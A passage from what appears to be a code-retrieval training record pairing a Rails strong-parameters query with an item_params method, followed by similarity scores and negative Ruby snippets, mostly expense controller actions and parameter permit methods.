setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def item_params params.require(:item).permit(:name, :description, :category, :picture, :units_per_item, :weight, :active, item_price_attributes: [:price, :start_date]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
GET /expenses GET /expenses.json
def index @filters = {} @expenses = Expense.all @subtotal = calculate_subtotal(@expenses) render :index end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @expenses = find_expenses.all\n render json: @expenses\n end", "def index\n @expenses = Expense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end", "def expenses\n @expenses ||= Harvest::API::Expenses.new(credentials)\n end", "def index\n @api_v1_expenses = Api::V1::Expense.all\n end", "def index\n @expenses = Expense.all\n respond_with @expenses\n end", "def index\n @expenses = Expense.all\n end", "def index\n @expenses = get_class.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end", "def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end", "def show\n @expense = current_user.organization.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end", "def index\n @expenses = Expense.search(params[:search])\n end", "def index\n @expenses = Expense.limit(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end", "def show\n @expenses = @expenses_file.expenses.select(\"strftime('%m', date) as month, strftime('%Y', date) as year, SUM(tax_amount) + SUM(pre_tax_amount) AS total\").\n group('month, year').order('year, month').as_json\n end", "def index\n @expenses = current_user.expenses.date_between(params[:from],params[:to]).order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end", "def index\n @offenses = Offense.all\n end", "def index\n @expenses = Expense.get_expenses(\n current_user[:id],\n session[:budget]['dateStart'],\n session[:budget]['dateEnd'],\n sort\n )\n\n get_tag_forms\n\n @expenses_sum = calculate_expenses_sum @expenses\n\n get_charts_and_tags @expenses\n end", "def index\n redirect_to home_entries_path\n\n @entries = current_user.entries.expenses\n end", "def index\n @fixed_expenses = FixedExpense.for_user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fixed_expenses }\n end\n end", "def index\n @expenses = current_user.user_account.expenses\n #DZF get totals\n\t\tunless @expenses.blank?\n\t\t\t@expense_total_price = current_user.user_account.get_expenses_total_price\n\t\t\t@expense_total_payed_price = current_user.user_account.get_expenses_total_total_payed_price\n\t\t\t@expense_total_payed_percentage = @expense_total_payed_price / @expense_total_price * 100\n\t\t\t@expense_total_remaining_price = current_user.user_account.get_expenses_total_remaining_price\n\t\t\t#DZF get payers percentage\n\t\t\t@payer_types_totals = {}\n\t\t\tPayerType.all.each do |pt|\n\t\t\t\t@payer_types_totals.merge!({pt.name => (current_user.user_account.get_payer_total_price_by_id(pt.id) * 100 / @expense_total_price) } )\n\t\t\tend\n\t\tend\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end", "def index\n @office_expenses = OfficeExpense.all\n end", "def index\n @expenses_props = Expense.all\n end", "def index\n @expenses = Expense.all\n # @assets = Asset.all\n @assets = current_user.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end", "def index\n\n # authenticate request\n if auth_user\n\n # check user has data to show\n if Expense.user(@user).count ==0\n render json: { message: \"You have no data - please submit date via a POST request\" }, status: 401\n else\n\n # retrieve paramaters\n # set start and end date to data min/max if not provided \n start_date = params[:start_date].respond_to?(:to_date) ? params[:start_date].to_date : Expense.user(@user).min_by(&:date).date\n end_date = params[:end_date].respond_to?(:to_date) ? params[:end_date].to_date : Expense.user(@user).max_by(&:date).date\n category = params[:category]\n\n # request category if provided (uses scopes defined in Expense model)\n if category == nil\n @expenses = Expense.user(@user).after_date(start_date).before_date(end_date)\n else\n @expenses = Expense.user(@user).after_date(start_date).before_date(end_date).category(category)\n end\n end\n\n else\n # request not authenticated\n return render json: { message: \"Invalid Token\", status: 400}, status: 400\n end\n end", "def index\n @defenses = Defense.all\n end", "def show\n render json: @petty_cash_expense\n end", "def index\n @record_expenses = RecordExpense.all\n end", "def index\n @rec_expenses = RecExpense.all\n end", "def show\n @expense = Expense.find(params[:id])\n index\n end", "def index\n @livingexpenses = Livingexpense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @livingexpenses }\n end\n end", "def show\n @expense = current_user.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @expense }\n format.js\n end\n end", "def index\n @expenses = Expense.includes(:place, :account, sub_category: :category).order('paid_at DESC').page(params[:page])\n end", "def show\n @expense = TblReceipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end", "def index\n @expenses = Expense.for_user(current_user).all\n @sum = Expense.for_user(current_user).sum(:price)\n \n respond_to do |format|\n format.html # index.html.erb\n format.iphone {render :layout => false}\n format.xml { render :xml => @expenses }\n end\n end", "def index\n @shared_expenses = SharedExpense.all\n end", "def index\n @marketing_expenses = MarketingExpense.all\n end", "def index\n @monthly_expenses = MonthlyExpense.all\n end", "def expense_list\n\n end", "def index\n @person_expense_records = PersonExpenseRecord.all\n\n render json: @person_expense_records\n end", "def index\n @bid_expenses = BidExpense.all\n end", "def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end", "def show\n respond_with @expense\n end", "def index\n\n if (params[:dossier])\n if params[:dossier] && params[:clear].present? && params[:clear] == 'true'\n @expenses = []\n elsif params[:dossier] && params[:activite_id].present? && params[:activite_id]!='undefined' \n @expenses = Expense.where(:dossier_id => params[:dossier], :activite_id => params[:activite_id])\n else\n @expenses = Expense.where(:dossier_id => params[:dossier])\n end\n else\n @expenses = []\n end\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n format.json {render :json => {\"success\"=>true,\"data\"=>@expenses.map {|p| p.attributes.merge(:total_ht => p.total, :total_ttc => p.total_ttc, :activite_name => p.activite.try(:description))}, :totalSize =>@expenses.count}}\n \n end\n end", "def show\n @expense = Expense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end", "def index\n @expedientes = Expediente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expedientes }\n end\n end", "def index\n @lincenses = Lincense.all\n end", "def index\n if @expense.nil?\n today = Date.today\n year = params[:year].to_i if params[:year]\n month = params[:month].to_i if params[:month]\n \n @date = today\n \n if year && month\n day = today.day\n if year != today.year || month != today.month\n day = 1\n end\n @date = Date.civil(year, month, day)\n end\n else\n @date = @expense.date\n end\n \n @expenses = Expense.by_month(@date)\n \n respond_to do |format|\n format.html { render :action => 'index' }\n format.xml { render :xml => @expenses }\n end\n end", "def index\n @dispenses = Dispense.all\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end", "def show\n @expense_state = ExpenseState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_state }\n end\n end", "def travel_expenses\n expenses.select {|expense| expense.category == \"travel\"}\n end", "def show\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_expense_type }\n end\n end", "def index\n @incomes = Income.all\n\n respond_to do |format|\n format.json { render json: @incomes }\n end\n end", "def index\n @utility_expenses = UtilityExpense.all\n end", "def index\n @expenses_files = ExpensesFile.all\n end", "def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @expense.to_xml }\n end\n end", "def index\n d = Date.today\n @expenses = @household.expenses.monthly_statement(d.month, d.year).order(spent_at: :desc)\n end", "def get_expenses_summary(month_period)\n request('getExpensesSummary', base_api_parameters.merge({ monthPeriod: month_period }))\n end", "def index\n @expenses = Expense.order(sort_column + ' ' + sort_direction).paginate(page: params[:page])\n end", "def index\n @expense_items = ExpenseItem.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expense_items }\n end\n end", "def index\n @expenses = Expense.all\n @expenses_sum = Expense.sum(:amount)\n @insurances_sum = Insurance.includes(:expense).pluck(:amount).sum\n @breaks_sum = Break.includes(:expense).pluck(:amount).sum\n @damages_sum = Damage.includes(:expense).pluck(:amount).sum\n @owner_takes_sum = OwnerTake.includes(:expense).pluck(:amount).sum\n end", "def new\n @expense = Expense.new\n @assigned_categories = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end", "def index\n @investigations = Investigation.where(:visible => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @investigations }\n end\n end", "def index\n @expenses = Expense.all.order(:fecha)\n end", "def show\n @fixed_expense = FixedExpense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fixed_expense }\n end\n end", "def index\n @incomes = current_company.incomes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @incomes }\n end\n end", "def show\n render json: @person_expense_record\n end", "def index\n @investments = Investment.all\n\n render json: {investments: @investments}, root: false\n end", "def index\n @financial_objects_expenses = manager.index(current_user)\n @pagy, @financial_objects_expenses = pagy(@financial_objects_expenses)\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json {render :json => ExpenseDatatable.new(view_context, @company, @current_user, @financial_year) }\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_group }\n end\n end", "def index\n @exponats = Exponat.all\n end", "def set_api_v1_expense\n @api_v1_expense = Api::V1::Expense.find(params[:id])\n end", "def index\n @expenses = Expense.includes(:author).where('author_id = ?',\n current_user.id).joins(:groups_expenses).most_recent\n end", "def show\n @exp = Exp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exp }\n end\n end", "def total_expenses\n self.expenses.sum(\"amount\")\n end", "def show\n @livingexpense = Livingexpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @livingexpense }\n end\n end", "def index\n @investments = Investment.all\n\n respond_to do |format|\n format.html\n format.json\n end\n end", "def agency_chart\n if(params[ :year ].nil?)\n params[ :year ] = '2015'\n else\n # Nothing to do.\n end\n expenses_of_public_agency = HelperController.expenses_year( \n params[ :id ].to_i, params[ :year ] )\n expenses_list = change_type_list_expenses( \n expenses_of_public_agency, params[ :year ] )\n\n respond_to do |format|\n format.json { render json: expenses_list }\n end\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def show\n @income = Income.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @income }\n end\n end", "def index\n @q = Expense.ransack(params[:q])\n @expenses = @q.result(distinct: true).includes(:category, :subcategory, :tags).order(:date)\n end", "def show\n @housing_expense = HousingExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @housing_expense.to_xml }\n end\n end", "def index\n @essays = Essay.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @essays }\n end\n end", "def index\n @exhibits = Exhibit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exhibits }\n end\n end", "def index\n @extended_warranties = ExtendedWarranty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @extended_warranties }\n end\n end", "def get(access_token)\n payload = { access_token: access_token }\n @client.post_with_auth('income/get', payload)\n end", "def new\n @expense = Expense.new\n\n respond_to do |format|\n format.json { render json: @expense }\n format.js\n end\n end", "def index\n @expense_types = ExpenseType.all\n end", "def show\n @expediente = Expediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expediente }\n end\n end", "def index\n @expense_group = ExpenseGroup.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expense_groups }\n end\n end", "def index\n @ef_mentals = EfMental.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ef_mentals }\n end\n end", "def show\n @expenditure = Expenditure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expenditure }\n end\n end" ]
